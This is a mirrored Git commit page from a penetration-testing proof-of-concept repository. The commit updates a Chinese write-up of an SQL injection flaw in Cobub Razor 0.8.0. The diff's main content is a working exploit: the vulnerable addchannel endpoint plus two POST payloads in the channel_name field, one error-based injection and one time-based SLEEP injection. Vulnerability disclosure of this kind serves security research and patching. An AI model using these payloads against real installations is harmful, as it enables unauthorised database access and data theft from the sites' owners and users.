admin/Penetration_Testing_POC
1
0
Fork 0
mirror of https://github.com/Mr-xn/Penetration_Testing_POC.git synced 2025-11-05 10:43:28 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update Cobub Razor 0.8.0存在SQL注入漏洞.md

Browse Source
This commit is contained in:
东方有鱼名为咸 2019-07-24 19:32:45 +08:00 committed by GitHub
parent f87ab08eee
commit 1367122333
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Cobub Razor 0.8.0存在SQL注入漏洞.md
View File

@ -11,8 +11,10 @@
### POC实现代码如下：
> http://localhost/index.php?/manage/channel/addchannel
> POST data:
> http://localhost/index.php?/manage/channel/addchannel
> POST data:
> 1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
> 2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1